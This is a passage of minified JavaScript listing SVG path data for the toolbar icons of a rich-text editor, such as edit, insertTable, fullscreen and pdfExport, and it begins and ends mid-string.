-0.852 -0.673 0.508a5.426 5.426 0 0 1 -1.164 0.679l-0.795 0.323 -0.33 2.269h-1.7l-0.32 -2.269 -0.793 -0.322a5.3 5.3 0 0 1 -1.147 -0.662L8.2 15.56l-2.133 0.86 -0.854 -1.475 1.806 -1.411 -0.1 -0.847c-0.028 -0.292 -0.046 -0.5 -0.046 -0.687s0.018 -0.4 0.045 -0.672l0.106 -0.854L5.217 9.064l0.854 -1.475 2.117 0.851 0.673 -0.508a5.426 5.426 0 0 1 1.164 -0.679l0.8 -0.323 0.331 -2.269h1.7l0.321 2.269 0.792 0.322a5.3 5.3 0 0 1 1.148 0.661l0.684 0.526 2.133 -0.859 0.853 1.473 -1.8 1.421 0.1 0.847a5 5 0 0 1 0.046 0.679c0 0.193 -0.018 0.4 -0.045 0.672l-0.106 0.853ZM12 14.544A2.544 2.544 0 1 1 14.546 12 2.552 2.552 0 0 1 12 14.544Z",columns:"M20,5H4C2.9,5,2,5.9,2,7v10c0,1.1,0.9,2,2,2h16c1.1,0,2-0.9,2-2V7C22,5.9,21.1,5,20,5z M8,17.5H4c-0.3,0-0.5-0.2-0.5-0.4 c0,0,0,0,0,0V17v-2H8V17.5z M8,13.5H3.5v-3H8V13.5z M8,9H3.5V7c0-0.3,0.2-0.5,0.4-0.5c0,0,0,0,0,0H8V9z M20.5,17 c0,0.3-0.2,0.5-0.4,0.5c0,0,0,0,0,0H16V15h4.5V17z M20.5,13.5H16v-3h4.5V13.5z M20.5,9H16V6.5h4c0.3,0,0.5,0.2,0.5,0.4c0,0,0,0,0,0 V9z",edit:"M17,11.2L12.8,7L5,14.8V19h4.2L17,11.2z M7,16.8v-1.5l5.6-5.6l1.4,1.5l-5.6,5.6H7z M13.5,6.3l0.7-0.7c0.8-0.8,2.1-0.8,2.8,0 c0,0,0,0,0,0L18.4,7c0.8,0.8,0.8,2,0,2.8l-0.7,0.7L13.5,6.3z",exitFullscreen:"M5,16H8v3h2V14H5ZM8,8H5v2h5V5H8Zm6,11h2V16h3V14H14ZM16,8V5H14v5h5V8Z",fileInsert:"M 8.09375 12.75 L 5.90625 12.75 C 5.542969 12.75 5.25 12.394531 5.25 11.953125 L 5.25 6.375 L 2.851562 6.375 C 2.367188 6.375 2.121094 5.660156 2.464844 5.242188 L 6.625 0.1875 C 6.832031 -0.0585938 7.167969 -0.0585938 7.371094 0.1875 L 11.535156 5.242188 C 11.878906 5.660156 11.632812 6.375 11.148438 6.375 L 8.75 6.375 L 8.75 11.953125 C 8.75 12.394531 8.457031 12.75 8.09375 12.75 Z M 14 12.484375 L 14 16.203125 C 14 16.644531 13.707031 17 13.34375 17 L 0.65625 17 C 0.292969 17 0 16.644531 0 16.203125 L 0 12.484375 C 0 12.042969 0.292969 11.6875 0.65625 11.6875 L 4.375 11.6875 L 4.375 11.953125 C 4.375 12.980469 5.0625 13.8125 5.90625 13.8125 L 8.09375 13.8125 C 8.9375 13.8125 9.625 12.980469 9.625 11.953125 L 9.625 11.6875 L 13.34375 11.6875 C 13.707031 11.6875 14 12.042969 14 12.484375 Z M 10.609375 15.40625 C 10.609375 15.039062 10.363281 14.742188 10.0625 14.742188 C 9.761719 14.742188 9.515625 15.039062 9.515625 15.40625 C 9.515625 15.773438 9.761719 16.070312 10.0625 16.070312 C 10.363281 16.070312 10.609375 15.773438 10.609375 15.40625 Z M 12.359375 15.40625 C 12.359375 15.039062 12.113281 14.742188 11.8125 14.742188 C 11.511719 14.742188 11.265625 15.039062 11.265625 15.40625 C 11.265625 15.773438 11.511719 16.070312 11.8125 16.070312 C 12.113281 16.070312 12.359375 15.773438 12.359375 15.40625 Z M 12.359375 15.40625 ",fileManager:"M 0 5.625 L 20.996094 5.625 L 21 15.75 C 21 16.371094 20.410156 16.875 19.6875 16.875 L 1.3125 16.875 C 0.585938 16.875 0 16.371094 0 15.75 Z M 0 5.625 M 21 4.5 L 0 4.5 L 0 2.25 C 0 1.628906 0.585938 1.125 1.3125 1.125 L 6.921875 1.125 C 7.480469 1.125 8.015625 1.316406 8.40625 1.652344 L 9.800781 2.847656 C 10.195312 3.183594 10.730469 3.375 11.289062 3.375 L 19.6875 3.375 C 20.414062 3.375 21 3.878906 21 4.5 Z M 21 4.5",markdown:"M5.55006 17.75V7.35L8.96006 16.89H10.7101L14.2301 7.37V14.0729C14.3951 14.1551 14.5499 14.265 14.6875 14.4026L14.7001 14.4151V11.64C14.7001 10.8583 15.2127 10.1963 15.9201 9.97171V5H13.6801L10.0401 14.86L6.51006 5H4.00006V17.75H5.55006ZM17.2001 11.64C17.2001 11.2258 16.8643 10.89 16.4501 10.89C16.0359 10.89 15.7001 11.2258 15.7001 11.64V16.8294L13.9804 15.1097C13.6875 14.8168 13.2126 14.8168 12.9197 15.1097C12.6269 15.4026 12.6269 15.8775 12.9197 16.1703L15.9197 19.1703C16.2126 19.4632 16.6875 19.4632 16.9804 19.1703L19.9804 16.1703C20.2733 15.8775 20.2733 15.4026 19.9804 15.1097C19.6875 14.8168 19.2126 14.8168 18.9197 15.1097L17.2001 16.8294V11.64Z",fontAwesome:"M18.99018,13.98212V7.52679c-.08038-1.21875-1.33929-.683-1.33929-.683-2.933,1.39282-4.36274.61938-5.85938.15625a6.23272,6.23272,0,0,0-2.79376-.20062l-.00946.004A1.98777,1.98777,0,0,0,7.62189,5.106a.984.984,0,0,0-.17517-.05432c-.02447-.0055-.04882-.01032-.0736-.0149A.9565.9565,0,0,0,7.1908,5H6.82539a.9565.9565,0,0,0-.18232.0368c-.02472.00458-.04907.0094-.07348.01484a.985.985,0,0,0-.17523.05438,1.98585,1.98585,0,0,0-.573,3.49585v9.394A1.004,1.004,0,0,0,6.82539,19H7.1908a1.00406,1.00406,0,0,0,1.00409-1.00409V15.52234c3.64221-1.09827,5.19709.64282,7.09888.57587a5.57291,5.57291,0,0,0,3.25446-1.05805A1.2458,1.2458,0,0,0,18.99018,13.98212Z",fontFamily:"M16,19h2L13,5H11L6,19H8l1.43-4h5.14Zm-5.86-6L12,7.8,13.86,13Z",fontSize:"M20.75,19h1.5l-3-10h-1.5l-3,10h1.5L17,16.5h3Zm-3.3-4,1.05-3.5L19.55,15Zm-5.7,4h2l-5-14h-2l-5,14h2l1.43-4h5.14ZM5.89,13,7.75,7.8,9.61,13Z",fullscreen:"M7,14H5v5h5V17H7ZM5,10H7V7h3V5H5Zm12,7H14v2h5V14H17ZM14,5V7h3v3h2V5Z",help:"M11,17h2v2h-2V17z M12,5C9.8,5,8,6.8,8,9h2c0-1.1,0.9-2,2-2s2,0.9,2,2c0,2-3,1.7-3,5v1h2v-1c0-2.2,3-2.5,3-5 C16,6.8,14.2,5,12,5z",horizontalLine:"M5,12h14 M19,11H5v2h14V11z",imageAltText:"M19,7h-6v12h-2V7H5V5h6h2h6V7z",imageCaption:"M14.2,11l3.8,5H6l3-3.9l2.1,2.7L14,11H14.2z M8.5,11c0.8,0,1.5-0.7,1.5-1.5S9.3,8,8.5,8S7,8.7,7,9.5C7,10.3,7.7,11,8.5,11z M22,6v12c0,1.1-0.9,2-2,2H4c-1.1,0-2-0.9-2-2V6c0-1.1,0.9-2,2-2h16C21.1,4,22,4.9,22,6z M20,8.8V6H4v12h16V8.8z M22,22H2v2h20V22z",imageClass:"M9.5,13.4l-2.9-2.9h3.8L12.2,7l1.4,3.5h3.8l-3,2.9l0.9,3.6L12,15.1L8.8,17L9.5,13.4z M22,6v12c0,1.1-0.9,2-2,2H4 c-1.1,0-2-0.9-2-2V6c0-1.1,0.9-2,2-2h16C21.1,4,22,4.9,22,6z M20,6H4v12h16V8.8V6z",imageDisplay:"M3,5h18v2H3V5z M13,9h8v2h-8V9z M13,13h8v2h-8V13z M3,17h18v2H3V17z M3,9h8v6H3V9z",imageManager:"M20,6h-7l-2-2H4C2.9,4,2,4.9,2,6v12c0,1.1,0.9,2,2,2h16c1.1,0,2-0.9,2-2V8C22,6.9,21.1,6,20,6z M20,18H4V6h6.2l2,2H20V18z M18,16l-3.8-5H14l-2.9,3.8L9,12.1L6,16H18z M10,9.5C10,8.7,9.3,8,8.5,8S7,8.7,7,9.5S7.7,11,8.5,11S10,10.3,10,9.5z",imageSize:"M16.9,4c-0.3,0-0.5,0.2-0.8,0.3L3.3,13c-0.9,0.6-1.1,1.9-0.5,2.8l2.2,3.3c0.4,0.7,1.2,1,2,0.8c0.3,0,0.5-0.2,0.8-0.3 L20.7,11c0.9-0.6,1.1-1.9,0.5-2.8l-2.2-3.3C18.5,4.2,17.7,3.9,16.9,4L16.9,4z M16.9,9.9L18.1,9l-2-2.9L17,5.6c0.1,0,0.1-0.1,0.2-0.1 c0.2,0,0.4,0,0.5,0.2L19.9,9c0.2,0.2,0.1,0.5-0.1,0.7L7,18.4c-0.1,0-0.1,0.1-0.2,0.1c-0.2,0-0.4,0-0.5-0.2L4.1,15 c-0.2-0.2-0.1-0.5,0.1-0.7L5,13.7l2,2.9l1.2-0.8l-2-2.9L7.5,12l1.1,1.7l1.2-0.8l-1.1-1.7l1.2-0.8l2,2.9l1.2-0.8l-2-2.9l1.2-0.8 l1.1,1.7l1.2-0.8l-1.1-1.7L14.9,7L16.9,9.9z",indent:"M3,9v6l3-3L3,9z M3,19h18v-2H3V19z M3,7h18V5H3V7z M9,11h12V9H9V11z M9,15h12v-2H9V15z",inlineClass:"M9.9,13.313A1.2,1.2,0,0,1,9.968,13H6.277l1.86-5.2,1.841,5.148A1.291,1.291,0,0,1,11.212,12h.426l-2.5-7h-2l-5,14h2l1.43-4H9.9Zm2.651,6.727a2.884,2.884,0,0,1-.655-2.018v-2.71A1.309,1.309,0,0,1,13.208,14h3.113a3.039,3.039,0,0,1,2,1.092s1.728,1.818,2.964,2.928a1.383,1.383,0,0,1,.318,1.931,1.44,1.44,0,0,1-.19.215l-3.347,3.31a1.309,1.309,0,0,1-1.832.258h0a1.282,1.282,0,0,1-.258-.257l-1.71-1.728Zm2.48-3.96a.773.773,0,1,0,.008,0Z",inlineStyle:"M11.88,15h.7l.7-1.7-3-8.3h-2l-5,14h2l1.4-4Zm-4.4-2,1.9-5.2,1.9,5.2ZM15.4,21.545l3.246,1.949-.909-3.637L20.72,17H16.954l-1.429-3.506L13.837,17H10.071l2.857,2.857-.779,3.637Z",insert:"M13.889,11.611c-0.17,0.17-0.443,0.17-0.612,0l-3.189-3.187l-3.363,3.36c-0.171,0.171-0.441,0.171-0.612,0c-0.172-0.169-0.172-0.443,0-0.611l3.667-3.669c0.17-0.17,0.445-0.172,0.614,0l3.496,3.493C14.058,11.167,14.061,11.443,13.889,11.611 M18.25,10c0,4.558-3.693,8.25-8.25,8.25c-4.557,0-8.25-3.692-8.25-8.25c0-4.557,3.693-8.25,8.25-8.25C14.557,1.75,18.25,5.443,18.25,10 M17.383,10c0-4.07-3.312-7.382-7.383-7.382S2.618,5.93,2.618,10S5.93,17.381,10,17.381S17.383,14.07,17.383,10",insertEmbed:"M20.73889,15.45929a3.4768,3.4768,0,0,0-5.45965-.28662L9.5661,12.50861a3.49811,3.49811,0,0,0-.00873-1.01331l5.72174-2.66809a3.55783,3.55783,0,1,0-.84527-1.81262L8.70966,9.6839a3.50851,3.50851,0,1,0,.0111,4.63727l5.7132,2.66412a3.49763,3.49763,0,1,0,6.30493-1.526ZM18.00745,5.01056A1.49993,1.49993,0,1,1,16.39551,6.3894,1.49994,1.49994,0,0,1,18.00745,5.01056ZM5.99237,13.49536a1.49989,1.49989,0,1,1,1.61194-1.37878A1.49982,1.49982,0,0,1,5.99237,13.49536Zm11.78211,5.494a1.49993,1.49993,0,1,1,1.61193-1.37885A1.49987,1.49987,0,0,1,17.77448,18.98932Z",insertFile:"M7,3C5.9,3,5,3.9,5,5v14c0,1.1,0.9,2,2,2h10c1.1,0,2-0.9,2-2V7.6L14.4,3H7z M17,19H7V5h6v4h4V19z",insertImage:"M14.2,11l3.8,5H6l3-3.9l2.1,2.7L14,11H14.2z M8.5,11c0.8,0,1.5-0.7,1.5-1.5S9.3,8,8.5,8S7,8.7,7,9.5C7,10.3,7.7,11,8.5,11z M22,6v12c0,1.1-0.9,2-2,2H4c-1.1,0-2-0.9-2-2V6c0-1.1,0.9-2,2-2h16C21.1,4,22,4.9,22,6z M20,8.8V6H4v12h16V8.8z",insertLink:"M11,17H7A5,5,0,0,1,7,7h4V9H7a3,3,0,0,0,0,6h4ZM17,7H13V9h4a3,3,0,0,1,0,6H13v2h4A5,5,0,0,0,17,7Zm-1,4H8v2h8Z",insertMore:"M16.5,13h-6v6h-2V13h-6V11h6V5h2v6h6Zm5,4.5A1.5,1.5,0,1,1,20,16,1.5,1.5,0,0,1,21.5,17.5Zm0-4A1.5,1.5,0,1,1,20,12,1.5,1.5,0,0,1,21.5,13.5Zm0-4A1.5,1.5,0,1,1,20,8,1.5,1.5,0,0,1,21.5,9.5Z",insertTable:"M20,5H4C2.9,5,2,5.9,2,7v2v1.5v3V15v2c0,1.1,0.9,2,2,2h16c1.1,0,2-0.9,2-2v-2v-1.5v-3V9V7C22,5.9,21.1,5,20,5z M9.5,13.5v-3 h5v3H9.5z M14.5,15v2.5h-5V15H14.5z M9.5,9V6.5h5V9H9.5z M3.5,7c0-0.3,0.2-0.5,0.5-0.5h4V9H3.5V7z M3.5,10.5H8v3H3.5V10.5z M3.5,17 v-2H8v2.5H4C3.7,17.5,3.5,17.3,3.5,17z M20.5,17c0,0.3-0.2,0.5-0.5,0.5h-4V15h4.5V17z M20.5,13.5H16v-3h4.5V13.5z M16,9V6.5h4 c0.3,0,0.5,0.2,0.5,0.5v2H16z",insertVideo:"M15,8v8H5V8H15m2,2.5V7a1,1,0,0,0-1-1H4A1,1,0,0,0,3,7V17a1,1,0,0,0,1,1H16a1,1,0,0,0,1-1V13.5l2.29,2.29A1,1,0,0,0,21,15.08V8.91a1,1,0,0,0-1.71-.71Z",upload:"M12 6.66667a4.87654 4.87654 0 0 1 4.77525 3.92342l0.29618 1.50268 1.52794 0.10578a2.57021 2.57021 0 0 1 -0.1827 5.13478H6.5a3.49774 3.49774 0 0 1 -0.3844 -6.97454l1.06682 -0.11341L7.678 9.29387A4.86024 4.86024 0 0 1 12 6.66667m0 -2A6.871 6.871 0 0 0 5.90417 8.37 5.49773 5.49773 0 0 0 6.5 19.33333H18.41667a4.57019 4.57019 0 0 0 0.32083 -9.13A6.86567 6.86567 0 0 0 12 4.66667Zm0.99976 7.2469h1.91406L11.99976 9 9.08618 11.91357h1.91358v3H11V16h2V14h-0.00024Z",uploadFiles:"M12 6.66667a4.87654 4.87654 0 0 1 4.77525 3.92342l0.29618 1.50268 1.52794 0.10578a2.57021 2.57021 0 0 1 -0.1827 5.13478H6.5a3.49774 3.49774 0 0 1 -0.3844 -6.97454l1.06682 -0.11341L7.678 9.29387A4.86024 4.86024 0 0 1 12 6.66667m0 -2A6.871 6.871 0 0 0 5.90417 8.37 5.49773 5.49773 0 0 0 6.5 19.33333H18.41667a4.57019 4.57019 0 0 0 0.32083 -9.13A6.86567 6.86567 0 0 0 12 4.66667Zm0.99976 7.2469h1.91406L11.99976 9 9.08618 11.91357h1.91358v3H11V16h2V14h-0.00024Z",italic:"M11.76,9h2l-2.2,10h-2Zm1.68-4a1,1,0,1,0,1,1,1,1,0,0,0-1-1Z",search:"M15.5 14h-0.79l-0.28 -0.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09 -0.59 4.23 -1.57l0.27 0.28v0.79l5 4.99L20.49 19l-4.99 -5zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14z",lineHeight:"M6.25,7h2.5L5.25,3.5,1.75,7h2.5V17H1.75l3.5,3.5L8.75,17H6.25Zm4-2V7h12V5Zm0,14h12V17h-12Zm0-6h12V11h-12Z",linkStyles:"M19,17.9l0.9,3.6l-3.2-1.9l-3.3,1.9l0.8-3.6L11.3,15h3.8l1.7-3.5l1.4,3.5H22L19,17.9z M20,12c0,0.3-0.1,0.7-0.2,1h2.1 c0.1-0.3,0.1-0.6,0.1-1c0-2.8-2.2-5-5-5h-4v2h4C18.7,9,20,10.3,20,12z M14.8,11H8v2h3.3h2.5L14.8,11z M9.9,16.4L8.5,15H7 c-1.7,0-3-1.3-3-3s1.3-3,3-3h4V7H7c-2.8,0-5,2.2-5,5s2.2,5,5,5h3.5L9.9,16.4z",mention:"M12.4,5c-4.1,0-7.5,3.4-7.5,7.5S8.3,20,12.4,20h3.8v-1.5h-3.8c-3.3,0-6-2.7-6-6s2.7-6,6-6s6,2.7,6,6v1.1 c0,0.6-0.5,1.2-1.1,1.2s-1.1-0.6-1.1-1.2v-1.1c0-2.1-1.7-3.8-3.8-3.8s-3.7,1.7-3.7,3.8s1.7,3.8,3.8,3.8c1,0,2-0.4,2.7-1.1 c0.5,0.7,1.3,1.1,2.2,1.1c1.5,0,2.6-1.2,2.6-2.7v-1.1C19.9,8.4,16.6,5,12.4,5z M12.4,14.7c-1.2,0-2.3-1-2.3-2.2s1-2.3,2.3-2.3 s2.3,1,2.3,2.3S13.6,14.7,12.4,14.7z",minimize:"M5,12h14 M19,11H5v2h14V11z",more:"M13.5,17c0,0.8-0.7,1.5-1.5,1.5s-1.5-0.7-1.5-1.5s0.7-1.5,1.5-1.5S13.5,16.2,13.5,17z M13.5,12c0,0.8-0.7,1.5-1.5,1.5 s-1.5-0.7-1.5-1.5s0.7-1.5,1.5-1.5S13.5,11.2,13.5,12z M13.5,7c0,0.8-0.7,1.5-1.5,1.5S10.5,7.8,10.5,7s0.7-1.5,1.5-1.5 S13.5,6.2,13.5,7z",openLink:"M17,17H7V7h3V5H7C6,5,5,6,5,7v10c0,1,1,2,2,2h10c1,0,2-1,2-2v-3h-2V17z M14,5v2h1.6l-5.8,5.8l1.4,1.4L17,8.4V10h2V5H14z",orderedList:"M2.5,16h2v.5h-1v1h1V18h-2v1h3V15h-3Zm1-7h1V5h-2V6h1Zm-1,2H4.3L2.5,13.1V14h3V13H3.7l1.8-2.1V10h-3Zm5-5V8h14V6Zm0,12h14V16H7.5Zm0-5h14V11H7.5Z",outdent:"M3,12l3,3V9L3,12z M3,19h18v-2H3V19z M3,7h18V5H3V7z M9,11h12V9H9V11z M9,15h12v-2H9V15z",pageBreaker:"M3,9v6l3-3L3,9z M21,9H8V4h2v3h9V4h2V9z M21,20h-2v-3h-9v3H8v-5h13V20z M11,13H8v-2h3V13z M16,13h-3v-2h3V13z M21,13h-3v-2 h3V13z",paragraphFormat:"M10.15,5A4.11,4.11,0,0,0,6.08,8.18,4,4,0,0,0,10,13v6h2V7h2V19h2V7h2V5ZM8,9a2,2,0,0,1,2-2v4A2,2,0,0,1,8,9Z",paragraphMore:"M7.682,5a4.11,4.11,0,0,0-4.07,3.18,4,4,0,0,0,3.11,4.725h0l.027.005a3.766,3.766,0,0,0,.82.09v6h2V7h2V19h2V7h2V5ZM5.532,9a2,2,0,0,1,2-2v4A2,2,0,0,1,5.532,9Zm14.94,8.491a1.5,1.5,0,1,1-1.5-1.5A1.5,1.5,0,0,1,20.472,17.491Zm0-4a1.5,1.5,0,1,1-1.5-1.5A1.5,1.5,0,0,1,20.472,13.491Zm0-4a1.5,1.5,0,1,1-1.5-1.5A1.5,1.5,0,0,1,20.472,9.491Z",paragraphStyle:"M4,9c0-1.1,0.9-2,2-2v4C4.9,11,4,10.1,4,9z M16.7,20.5l3.2,1.9L19,18.8l3-2.9h-3.7l-1.4-3.5L15.3,16h-3.8l2.9,2.9l-0.9,3.6 L16.7,20.5z M10,17.4V19h1.6L10,17.4z M6.1,5c-1.9,0-3.6,1.3-4,3.2c-0.5,2.1,0.8,4.2,2.9,4.7c0,0,0,0,0,0h0.2C5.5,13,5.8,13,6,13v6 h2V7h2v7h2V7h2V5H6.1z",pdfExport:"M7,3C5.9,3,5,3.9,5,5v14c0,1.1,0.9,2,2,2h10c1.1,0,2-0.9,2-2V7.6L14.4,3H7z M17,19H7V5h6v4h4V19z M16.3,13.5 c-0.2-0.6-1.1-0.8-2.6-0.8c-0.1,0-0.1,0-0.2,0c-0.3-0.3-0.8-0.9-1-1.2c-0.2-0.2-0.3-0.3-0.4-0.6c0.2-0.7,0.2-1,0.3-1.5 c0.1-0.9,0-1.6-0.2-1.8c-0.4-0.2-0.7-0.2-0.9-0.2c-0.1,0-0.3,0.2-0.7,0.7c-0.2,0.7-0.1,1.8,0.6,2.8c-0.2,0.8-0.7,1.6-1,2.4 c-0.8,0.2-1.5,0.7-1.9,1.1c-0.7,0.7-0.9,1.1-0.7,1.6c0,0.3,0.2,0.6,0.7,0.6c0.3-0.1,0.3-0.2,0.7-0.3c0.6-0.3,1.2-1.7,1.7-2.4 c0.8-0.2,1.7-0.3,2-0.3c0.1,0,0.3,0,0.6,0c0.8,0.8,1.2,1.1,1.8,1.2c0.1,0,0.2,0,0.3,0c0.3,0,0.8-0.1,1-0.6 C16.4,14.1,16.4,13.9,16.3,13.5z M8.3,15.7c-0.1,0.1-0.2,0.1-0.2,0.1c0-0.1,0-0.3,0.6-0.8c0.2-0.2,0.6-0.3,0.9-0.7 C9,15,8.6,15.5,8.3,15.7z M11.3,9c0-0.1,0.1-0.2,0.1-0.2S11.6,9,11.5,10c0,0.1,0,0.3-0.1,0.7C11.3,10.1,11,9.5,11.3,9z M10.9,13.1 c0.2-0.6,0.6-1,0.7-1.5c0.1,0.1,0.1,0.1,0.2,0.2c0.1,0.2,0.3,0.7,0.7,0.9C12.2,12.8,11.6,13,10.9,13.1z M15.2,14.1 c-0.1,0-0.1,0-0.2,0c-0.2,0-0.7-0.2-1-0.7c1.1,0,1.6,0.2,1.6,0.6C15.5,14.1,15.4,14.1,15.2,14.1z",print:"M16.1,17c0-0.6,0.4-1,1-1c0.6,0,1,0.4,1,1s-0.4,1-1,1C16.5,18,16.1,17.6,16.1,17z M22,15v4c0,1.1-0.9,2-2,2H4 c-1.1,0-2-0.9-2-2v-4c0-1.1,0.9-2,2-2h1V5c0-1.1,0.9-2,2-2h7.4L19,7.6V13h1C21.1,13,22,13.9,22,15z M7,13h10V9h-4V5H7V13z M20,15H4 v4h16V15z",redo:"M13.6,9.4c1.7,0.3,3.2,0.9,4.6,2L21,8.5v7h-7l2.7-2.7C13,10.1,7.9,11,5.3,14.7c-0.2,0.3-0.4,0.5-0.5,0.8L3,14.6 C5.1,10.8,9.3,8.7,13.6,9.4z",removeTable:"M15,10v8H9v-8H15 M14,4H9.9l-1,1H6v2h12V5h-3L14,4z M17,8H7v10c0,1.1,0.9,2,2,2h6c1.1,0,2-0.9,2-2V8z",insertAll:"M 9.25 12 L 6.75 12 C 6.335938 12 6 11.664062 6 11.25 L 6 6 L 3.257812 6 C 2.703125 6 2.425781 5.328125 2.820312 4.933594 L 7.570312 0.179688 C 7.804688 -0.0546875 8.191406 -0.0546875 8.425781 0.179688 L 13.179688 4.933594 C 13.574219 5.328125 13.296875 6 12.742188 6 L 10 6 L 10 11.25 C 10 11.664062 9.664062 12 9.25 12 Z M 16 11.75 L 16 15.25 C 16 15.664062 15.664062 16 15.25 16 L 0.75 16 C 0.335938 16 0 15.664062 0 15.25 L 0 11.75 C 0 11.335938 0.335938 11 0.75 11 L 5 11 L 5 11.25 C 5 12.214844 5.785156 13 6.75 13 L 9.25 13 C 10.214844 13 11 12.214844 11 11.25 L 11 11 L 15.25 11 C 15.664062 11 16 11.335938 16 11.75 Z M 12.125 14.5 C 12.125 14.15625 11.84375 13.875 11.5 13.875 C 11.15625 13.875 10.875 14.15625 10.875 14.5 C 10.875 14.84375 11.15625 15.125 11.5 15.125 C 11.84375 15.125 12.125 14.84375 12.125 14.5 Z M 14.125 14.5 C 14.125 14.15625 13.84375 13.875 13.5 13.875 C 13.15625 13.875 12.875 14.15625 12.875 14.5 C 12.875 14.84375 13.15625 15.125 13.5 15.125 C 13.84375 15.125 14.125 14.84375 14.125 14.5 Z M 14.125 14.5 ",remove:"M15,10v8H9v-8H15 M14,4H9.9l-1,1H6v2h12V5h-3L14,4z M17,8H7v10c0,1.1,0.9,2,2,2h6c1.1,0,2-0.9,2-2V8z",replaceImage:"M16,5v3H4v2h12v3l4-4L16,5z M8,19v-3h12v-2H8v-3l-4,4L8,19z",row:"M20,5H4C2.9,5,2,5.9,2,7v2v1.5v3V15v2c0,1.1,0.9,2,2,2h16c1.1,0,2-0.9,2-2v-2v-1.5v-3V9V7C22,5.9,21.1,5,20,5z M16,6.5h4 c0.3,0,0.5,0.2,0.5,0.5v2H16V6.5z M9.5,6.5h5V9h-5V6.5z M3.5,7c0-0.3,0.2-0.5,0.5-0.5h4V9H3.5V7z M8,17.5H4c-0.3,0-0.5-0.2-0.5-0.5 v-2H8V17.5z M14.5,17.5h-5V15h5V17.5z M20.5,17c0,0.3-0.2,0.5-0.5,0.5h-4V15h4.5V17z",selectAll:"M5,7h2V5C5.9,5,5,5.9,5,7z M5,11h2V9H5V11z M9,19h2v-2H9V19z M5,11h2V9H5V11z M15,5h-2v2h2V5z M17,5v2h2C19,5.9,18.1,5,17,5 z M7,19v-2H5C5,18.1,5.9,19,7,19z M5,15h2v-2H5V15z M11,5H9v2h2V5z M13,19h2v-2h-2V19z M17,11h2V9h-2V11z M17,19c1.1,0,2-0.9,2-2h-2 V19z M17,11h2V9h-2V11z M17,15h2v-2h-2V15z M13,19h2v-2h-2V19z M13,7h2V5h-2V7z M9,15h6V9H9V15z M11,11h2v2h-2V11z",smile:"M11.991,3A9,9,0,1,0,21,12,8.99557,8.99557,0,0,0,11.991,3ZM12,19a7,7,0,1,1,7-7A6.99808,6.99808,0,0,1,12,19Zm3.105-5.2h1.503a4.94542,4.94542,0,0,1-9.216,0H8.895a3.57808,3.57808,0,0,0,6.21,0ZM7.5,9.75A1.35,1.35,0,1,1,8.85,11.1,1.35,1.35,0,0,1,7.5,9.75Zm6.3,0a1.35,1.35,0,1,1,1.35,1.35A1.35,1.35,0,0,1,13.8,9.75Z",spellcheck:"M19.1,13.6l-5.6,5.6l-2.7-2.7l-1.4,1.4l4.1,4.1l7-7L19.1,13.6z M10.8,13.7l2.7,2.7l0.8-0.8L10.5,5h-2l-5,14h2l1.4-4h2.6 L10.8,13.7z M9.5,7.8l1.9,5.2H7.6L9.5,7.8z",star:"M12.1,7.7l1,2.5l0.4,0.9h1h2.4l-2.1,2l-0.6,0.6l0.2,0.9l0.6,2.3l-2.2-1.3L12,15.2l-0.8,0.5L9,17l0.5-2.5l0.1-0.8L9,13.1 l-2-2h2.5h0.9l0.4-0.8L12.1,7.7 M12.2,4L9.5,9.6H3.4L8,14.2L6.9,20l5.1-3.1l5.3,3.1l-1.5-5.8l4.8-4.6h-6.1L12.2,4L12.2,4z",strikeThrough:"M3,12.20294H21v1.5H16.63422a3.59782,3.59782,0,0,1,.34942,1.5929,3.252,3.252,0,0,1-1.31427,2.6997A5.55082,5.55082,0,0,1,12.20251,19a6.4421,6.4421,0,0,1-2.62335-.539,4.46335,4.46335,0,0,1-1.89264-1.48816,3.668,3.668,0,0,1-.67016-2.15546V14.704h.28723v-.0011h.34149v.0011H9.02v.11334a2.18275,2.18275,0,0,0,.85413,1.83069,3.69,3.69,0,0,0,2.32836.67926,3.38778,3.38778,0,0,0,2.07666-.5462,1.73346,1.73346,0,0,0,.7013-1.46655,1.69749,1.69749,0,0,0-.647-1.43439,3.00525,3.00525,0,0,0-.27491-.17725H3ZM16.34473,7.05981A4.18163,4.18163,0,0,0,14.6236,5.5462,5.627,5.627,0,0,0,12.11072,5,5.16083,5.16083,0,0,0,8.74719,6.06213,3.36315,3.36315,0,0,0,7.44006,8.76855a3.22923,3.22923,0,0,0,.3216,1.42786h2.59668c-.08338-.05365-.18537-.10577-.25269-.16064a1.60652,1.60652,0,0,1-.65283-1.30036,1.79843,1.79843,0,0,1,.68842-1.5108,3.12971,3.12971,0,0,1,1.96948-.55243,3.04779,3.04779,0,0,1,2.106.6687,2.35066,2.35066,0,0,1,.736,1.83258v.11341h2.00317V9.17346A3.90013,3.90013,0,0,0,16.34473,7.05981Z",subscript:"M10.4,12l3.6,3.6L12.6,17L9,13.4L5.4,17L4,15.6L7.6,12L4,8.4L5.4,7L9,10.6L12.6,7L14,8.4L10.4,12z M18.31234,19.674 l1.06812-1.1465c0.196-0.20141,0.37093-0.40739,0.5368-0.6088c0.15975-0.19418,0.30419-0.40046,0.432-0.617 c0.11969-0.20017,0.21776-0.41249,0.29255-0.6334c0.07103-0.21492,0.10703-0.43986,0.10662-0.66621 c0.00297-0.28137-0.04904-0.56062-0.1531-0.82206c-0.09855-0.24575-0.25264-0.46534-0.45022-0.6416 c-0.20984-0.18355-0.45523-0.32191-0.72089-0.40646c-0.63808-0.19005-1.3198-0.17443-1.94851,0.04465 c-0.28703,0.10845-0.54746,0.2772-0.76372,0.49487c-0.20881,0.20858-0.37069,0.45932-0.47483,0.73548 c-0.10002,0.26648-0.15276,0.54838-0.15585,0.833l-0.00364,0.237H17.617l0.00638-0.22692 c0.00158-0.12667,0.01966-0.25258,0.05377-0.37458c0.03337-0.10708,0.08655-0.20693,0.15679-0.29437 c0.07105-0.08037,0.15959-0.14335,0.25882-0.1841c0.22459-0.08899,0.47371-0.09417,0.7018-0.01458 c0.0822,0.03608,0.15559,0.08957,0.21509,0.15679c0.06076,0.07174,0.10745,0.15429,0.13761,0.24333 c0.03567,0.10824,0.05412,0.22141,0.05469,0.33538c-0.00111,0.08959-0.0118,0.17881-0.0319,0.26612 c-0.02913,0.10428-0.07076,0.20465-0.124,0.29893c-0.07733,0.13621-0.1654,0.26603-0.26338,0.38823 